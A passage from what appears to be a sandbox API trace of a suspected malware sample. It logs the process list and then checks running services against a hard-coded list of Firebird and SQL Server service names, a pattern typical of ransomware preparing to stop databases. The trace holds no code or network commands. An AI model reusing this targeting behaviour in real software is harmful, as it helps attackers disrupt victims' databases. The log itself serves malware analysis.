th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.348] lstrlenW (lpString="svchost.exe") returned 11 [0210.348] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.349] lstrlenW (lpString="svchost.exe") returned 11 [0210.349] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x57c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.349] lstrlenW (lpString="svchost.exe") returned 11 [0210.349] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.349] lstrlenW (lpString="svchost.exe") returned 11 [0210.350] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x620, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0210.350] lstrlenW (lpString="spoolsv.exe") returned 11 [0210.350] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x66c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.350] lstrlenW (lpString="svchost.exe") returned 11 [0210.350] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x68c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0210.351] lstrlenW (lpString="audiodg.exe") returned 11 [0210.351] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x71c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0210.351] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0210.351] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x760, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0210.352] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0210.352] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0210.352] lstrlenW (lpString="Memory Compression") returned 18 [0210.352] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x848, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0210.353] lstrlenW (lpString="sihost.exe") returned 10 [0210.353] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x854, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x24c, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0210.353] lstrlenW (lpString="svchost.exe") returned 11 [0210.353] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1a8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0210.354] lstrlenW (lpString="taskhostw.exe") returned 13 [0210.354] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x1a8, pcPriClassBase=6, dwFlags=0x0, szExeFile="msoia.exe")) returned 1 [0210.354] lstrlenW (lpString="msoia.exe") returned 9 [0210.354] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa14, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x39, th32ParentProcessID=0xa04, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0210.354] lstrlenW (lpString="explorer.exe") returned 12 [0210.355] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb6c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x20, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0210.355] lstrlenW (lpString="SearchUI.exe") returned 12 [0210.355] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb88, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0210.355] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0210.355] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0210.356] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0210.356] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0210.356] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0210.356] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xdf0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0xa14, pcPriClassBase=8, dwFlags=0x0, szExeFile="WindowsSystem32file.pe32.exe")) returned 1 [0210.357] lstrlenW (lpString="WindowsSystem32file.pe32.exe") returned 28 [0210.357] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0210.357] lstrlenW (lpString="dllhost.exe") returned 11 [0210.357] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0210.358] lstrlenW (lpString="dllhost.exe") returned 11 [0210.358] Process32NextW (in: hSnapshot=0x564, lppe=0x249fd2c | out: lppe=0x249fd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x2e8, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0210.358] CloseHandle (hObject=0x564) returned 1 [0210.358] Sleep (dwMilliseconds=0x1f4) [0210.965] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x447afe0 [0210.965] EnumServicesStatusExW (in: hSCManager=0x447afe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 0 [0210.966] GetLastError () returned 0xea [0210.966] RtlAllocateHeap (HeapHandle=0x420000, Flags=0x0, Size=0x1c30) returned 0x456b180 [0210.966] EnumServicesStatusExW (in: hSCManager=0x447afe0, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x456b180, cbBufSize=0x1c30, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x456b180, pcbBytesNeeded=0x249ff3c, lpServicesReturned=0x249ff54, lpResumeHandle=0x0) returned 1 [0210.967] CloseServiceHandle (hSCObject=0x447afe0) returned 1 [0210.967] lstrlenW (lpString="Appinfo") returned 7 [0210.967] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0210.967] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0210.968] lstrlenW (lpString="AppXSvc") returned 7 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AppXSvc") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AppXSvc") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AppXSvc") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AppXSvc") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AppXSvc") returned 1 [0210.968] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0210.968] lstrlenW (lpString="Audiosrv") returned 8 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Audiosrv") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Audiosrv") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="Audiosrv") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="Audiosrv") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Audiosrv") returned 1 [0210.968] lstrlenW (lpString="BFE") returned 3 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0210.968] lstrlenW (lpString="BrokerInfrastructure") returned 20 [0210.968] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0210.968] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BrokerInfrastructure") returned 1 [0210.968] lstrcmpiW (lpString1="sqlwriter", lpString2="BrokerInfrastructure") returned 1 [0210.968] lstrcmpiW (lpString1="mssqlserver", lpString2="BrokerInfrastructure") returned 1 [0210.968] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BrokerInfrastructure") returned 1 [0210.969] lstrlenW (lpString="CDPSvc") returned 6 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CDPSvc") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CDPSvc") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CDPSvc") returned 1 [0210.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CDPSvc") returned 1 [0210.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CDPSvc") returned 1 [0210.969] lstrlenW (lpString="ClickToRunSvc") returned 13 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ClickToRunSvc") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="ClickToRunSvc") returned 1 [0210.969] lstrcmpiW (lpString1="mssqlserver", lpString2="ClickToRunSvc") returned 1 [0210.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ClickToRunSvc") returned 1 [0210.969] lstrlenW (lpString="CoreMessagingRegistrar") returned 22 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CoreMessagingRegistrar") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CoreMessagingRegistrar") returned 1 [0210.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CoreMessagingRegistrar") returned 1 [0210.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CoreMessagingRegistrar") returned 1 [0210.969] lstrlenW (lpString="CryptSvc") returned 8 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0210.969] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0210.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0210.969] lstrlenW (lpString="DcomLaunch") returned 10 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0210.969] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0210.969] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0210.969] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0210.969] lstrlenW (lpString="DeviceAssociationService") returned 24 [0210.969] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0210.969] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DeviceAssociationService") returned 1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DeviceAssociationService") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DeviceAssociationService") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DeviceAssociationService") returned 1 [0210.970] lstrlenW (lpString="Dhcp") returned 4 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0210.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0210.970] lstrlenW (lpString="Dnscache") returned 8 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0210.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0210.970] lstrlenW (lpString="DPS") returned 3 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0210.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0210.970] lstrlenW (lpString="DusmSvc") returned 7 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DusmSvc") returned 1 [0210.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DusmSvc") returned 1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="DusmSvc") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="DusmSvc") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DusmSvc") returned 1 [0210.970] lstrlenW (lpString="EventLog") returned 8 [0210.970] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventLog") returned 1 [0210.970] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventLog") returned 1 [0210.970] lstrcmpiW (lpString1="sqlwriter", lpString2="EventLog") returned 1 [0210.970] lstrcmpiW (lpString1="mssqlserver", lpString2="EventLog") returned 1 [0210.970] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventLog") returned 1 [0210.970] lstrlenW (lpString="EventSystem") returned 11 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0210.971] lstrlenW (lpString="FontCache") returned 9 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="FontCache") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="FontCache") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="FontCache") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="FontCache") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="FontCache") returned 1 [0210.971] lstrlenW (lpString="gpsvc") returned 5 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0210.971] lstrlenW (lpString="iphlpsvc") returned 8 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0210.971] lstrlenW (lpString="KeyIso") returned 6 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="KeyIso") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="KeyIso") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="KeyIso") returned 1 [0210.971] lstrcmpiW (lpString1="mssqlserver", lpString2="KeyIso") returned 1 [0210.971] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="KeyIso") returned 1 [0210.971] lstrlenW (lpString="LanmanServer") returned 12 [0210.971] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0210.971] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0210.971] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0210.972] lstrlenW (lpString="LanmanWorkstation") returned 17 [0210.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0210.972] lstrlenW (lpString="lfsvc") returned 5 [0210.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0210.972] lstrlenW (lpString="lmhosts") returned 7 [0210.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0210.972] lstrlenW (lpString="LSM") returned 3 [0210.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0210.972] lstrlenW (lpString="MpsSvc") returned 6 [0210.972] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0210.972] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0210.972] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0210.972] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0210.972] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0210.972] lstrlenW (lpString="NcbService") returned 10 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0210.973] lstrlenW (lpString="netprofm") returned 8 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0210.973] lstrlenW (lpString="NgcSvc") returned 6 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NgcSvc") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NgcSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NgcSvc") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NgcSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NgcSvc") returned 1 [0210.973] lstrlenW (lpString="NlaSvc") returned 6 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0210.973] lstrlenW (lpString="nsi") returned 3 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0210.973] lstrlenW (lpString="PcaSvc") returned 6 [0210.973] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0210.973] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0210.973] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0210.973] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0210.974] lstrlenW (lpString="PlugPlay") returned 8 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0210.974] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0210.974] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0210.974] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0210.974] lstrlenW (lpString="Power") returned 5 [0210.974] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0210.974] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0210.974] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0210.974] 